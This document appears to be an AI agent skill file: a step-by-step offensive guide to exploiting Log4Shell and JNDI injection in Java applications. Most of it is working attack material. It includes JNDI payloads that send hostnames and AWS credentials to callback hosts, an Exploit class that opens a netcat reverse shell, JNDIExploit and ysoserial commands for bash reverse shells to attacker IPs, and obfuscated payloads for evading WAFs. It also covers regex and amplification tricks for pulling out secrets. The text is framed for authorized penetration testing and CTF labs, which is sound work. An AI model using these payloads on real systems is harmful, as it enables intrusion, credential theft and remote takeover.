Log4Shell & JNDI Exploitation

A comprehensive guide for discovering and exploiting JNDI injection and Log4Shell vulnerabilities in Java applications.

⚠️ Authorization Required: Only use these techniques on systems you own or have explicit written permission to test.

When to Use This Skill

Use this skill when:

• Testing Java applications for Log4j vulnerabilities
• Investigating CVE-2021-44228, CVE-2021-45046, or related CVEs
• Analyzing JNDI injection possibilities
• Needing to verify if user input is being logged by vulnerable libraries
• Working with LDAP, RMI, or CORBA-based Java applications
• Preparing for penetration testing engagements involving Java stacks

Quick Reference

Phase	Command/Tool	Purpose
Discovery	DNS callback payloads	Detect vulnerability
Verification	Environment variable exfiltration	Confirm exploitability
Exploitation	marshalsec, JNDIExploit	Achieve RCE
Bypass	Obfuscation techniques	Evade WAFs

---

Phase 1: Discovery

DNS Callback Detection

The most reliable initial detection method. Vulnerable applications will send DNS requests to addresses in your payload.

Recommended callback services:

# CanaryTokens
${jndi:ldap://x${hostName}.L4J.lt4aev8pktxcq2qlpdr5qu5ya.canarytokens.com/a}

# Interactsh (recommended)
${jndi:ldap://c72gqsaum5n94mgp67m0c8no4hoyyyyyn.interact.sh}

# Burp Collaborator
${jndi:ldap://abpb84w6lqp66p0ylo715m5osfy5mu.burpcollaborator.net}

# DNSLog.cn
${jndi:ldap://2j4ayo.dnslog.cn}

# Huntress
${jndi:ldap://log4shell.huntress.com:1389/hostname=${env:HOSTNAME}/fe47f5ee-efd7-42ee-9897-22d18976c520}

Important: Receiving a DNS callback confirms the application processes the payload, but doesn't guarantee full exploitability. You must attempt exploitation.

Local Vulnerability Scanning

Find vulnerable log4j-core versions on local systems:

find / -name "log4j-core*.jar" 2>/dev/null | grep -E "log4j-core-(1.[^0]|2.[0-9][^0-9]|2.1[0-6])"

Vulnerable versions:

• Log4j 2.0-beta9 to 2.14.1 (CVE-2021-44228)
• Log4j 2.15.0 (incomplete fix, CVE-2021-45046)
• Log4j 1.x with JMSAppender (CVE-2021-4104)

---

Phase 2: Verification

Environment Variable Exfiltration

Confirm vulnerability and extract information using DNS callbacks with embedded variables:

# Basic verification with Java version
${jndi:ldap://jv-${sys:java.version}-hn-${hostName}.ei4frk.dnslog.cn/a}

# AWS credentials (if present)
${env:AWS_ACCESS_KEY_ID}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}

# System information
${env:HOSTNAME}
${env:USER}
${env:PATH}
${sys:java.class.path}
${sys:user.home}
${sys:user.name}

Common Variables to Test

${env:AWS_ACCESS_KEY_ID}
${env:AWS_CONFIG_FILE}
${env:AWS_PROFILE}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:HOSTNAME}
${env:JAVA_VERSION}
${env:PATH}
${env:USER}
${hostName}
${java.vendor}
${java:os}
${java:version}
${log4j:configParentLocation}
${sys:PROJECT_HOME}
${sys:file.separator}
${sys:java.class.path}
${sys:java.class.version}
${sys:java.compiler}
${sys:java.ext.dirs}
${sys:java.home}
${sys:java.io.tmpdir}
${sys:java.library.path}
${sys:java.specification.name}
${sys:java.specification.vendor}
${sys:java.specification.version}
${sys:java.vendor.url}
${sys:java.vendor}
${sys:java.version}
${sys:java.vm.name}
${sys:java.vm.specification.name}
${sys:java.vm.specification.vendor}
${sys:java.vm.specification.version}
${sys:java.vm.vendor}
${sys:java.vm.version}
${sys:line.separator}
${sys:os.arch}
${sys:os.name}
${sys:os.version}
${sys:path.separator}
${sys:user.dir}
${sys:user.home}
${sys:user.name}

---

Phase 3: Exploitation

Understanding JDK Version Impact

JDK Version	LDAP Codebase Loading	Deserialization Attack
< 6u141, 7u131, 8u121	✅ Possible	✅ Possible
≥ 6u141, 7u131, 8u121	❌ Blocked (trustURLCodebase=false)	✅ Still Possible

Key insight: Higher JDK versions block remote codebase loading via LDAP but remain vulnerable to deserialization attacks using trusted gadgets.

Method 1: Marshalsec with Custom Payload

Setup LDAP referral server:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<your_ip>:8000/#Exploit"

Create exploit class:

// Exploit.java
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash YOUR.IP.ADDRESS 9999");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Compile and serve:

javac Exploit.java -source 8 -target 8
python3 -m http.server 8000

Trigger exploitation:

${jndi:ldap://<LDAP_IP>:1389/Exploit}

Method 2: JNDIExploit

Start the exploit server:

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 172.17.0.1 -p 8888

Available exploits:

# List all available exploits
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

# Create file on target
ldap://null:1389/Basic/Command/Base64/[base64_encoded_cmd]

# Reverse shell (Unix)
ldap://null:1389/Basic/ReverseShell/[ip]/[port]

# DNS log verification
ldap://null:1389/Basic/Dnslog/[domain]

Example attacks:

# Create file
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'

# Reverse shell
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'

# Alternative reverse shell
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'

Method 3: JNDI-Exploit-Kit

Generate exploit URLs:

# Reverse shell on port 4444
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -S 172.17.0.1:4444

# Execute command
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"

Method 4: ysoserial + JNDI-Exploit-Kit (For Trusted Gadgets)

Best for: Java versions configured to only trust specified classes.

Generate deserialization payload:

# Reverse shell via CommonsCollections5
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser

Serve the payload:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser

Exploit:

${jndi:ldap://10.10.14.10:1389/generated}

---

Phase 4: Bypasses

WAF Evasion Techniques

# Environment variable obfuscation
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}

# Lowercase function
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}

# Mixed case
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}

# Character slicing
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}

# Alternative environment variable
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}

# Mixed functions
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}

# RMI protocol
${${::-j}ndi:rmi://attackerendpoint.com/}

# DNS protocol
${${::-j}ndi:dns://attackerendpoint.com/}

# Unicode trick (Turkish i)
${${lower:jnd}${lower:${upper:ı}}:ldap://...}

Localhost Bypass (For Log4j 2.15)

${jndi:ldap://127.0.0.1#attacker.com/a}

---

Phase 5: Post-Log4Shell Exploitation

Understanding Version Changes

Version	Message Lookups	JNDI Default	Recursive Lookups
2.16.0+	❌ Removed	❌ Disabled	✅ In config only
2.17.0+	❌ Removed	❌ Disabled	✅ Top-level only

Exception-Based Exfiltration

Trigger exceptions to exfiltrate data:

# Basic exception exfiltration
${java:${env:FLAG}}

# This triggers an exception because ${java:CTF{blahblah}} doesn't exist
# The exception message contains the flag value

Binary Search via Regex

Use %replace with regex to test flag values:

# Trigger exception if regex matches
%replace{${env:FLAG}}{^CTF.*}{${error}}

# Time-based ReDoS
%replace{${env:FLAG}}{^(?=CTF)((.`)*salt$}{asd}

Amplification Attack

Cause timeout through massive string replacement:

/%replace{
%replace{
%replace{
%replace{
%replace{
%replace{
%replace{${ENV:FLAG}}{CTF\{" + flagGuess + ".*\}}{#############################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}
}{#}{######################################################}

If the flag matches

flagGuess

, this creates 96+ billion characters, triggering a timeout.

---

Automated Scanners

Tool	Purpose
log4j-scan	Network scanning
Log4j-RCE-Scanner	RCE verification
burp-log4shell	Burp extension
log4j-scanner	CIS scanner
local-log4j-vuln-scanner	Local detection
log4j-sniffer	Local library detection

---

Practice Labs

Lab	Platform	Difficulty
LogForge	HackTheBox	Medium
Solar Room	TryHackMe	Easy
log4jpwn	GitHub	Easy
log4shell-vulnerable-app	GitHub	Easy

---

Related CVEs

CVE	Severity	Description
CVE-2021-44228	Critical	Untrusted deserialization, RCE
CVE-2021-45046	Critical	DoS via incomplete fix
CVE-2021-4104	High	Log4j 1.x JMSAppender
CVE-2021-42550	Moderate	Logback vulnerability
CVE-2021-45105	High	DoS in 2.16.0
CVE-2021-44832	High	JDBCAppender RCE

---

Scripts

Use the bundled scripts for common tasks:

• scripts/scan_local_log4j.sh

  - Find vulnerable log4j versions locally

• scripts/generate_log4shell_payloads.py

  - Generate various payload types

• scripts/setup_dns_callback.sh

  - Setup DNS callback monitoring

---

References

• Cloudflare: Inside Log4j2
• BleepingComputer: All Log4j Bugs
• BlackHat: JNDI to RCE
• Google CTF 2022 Writeup
• Log4j Security Page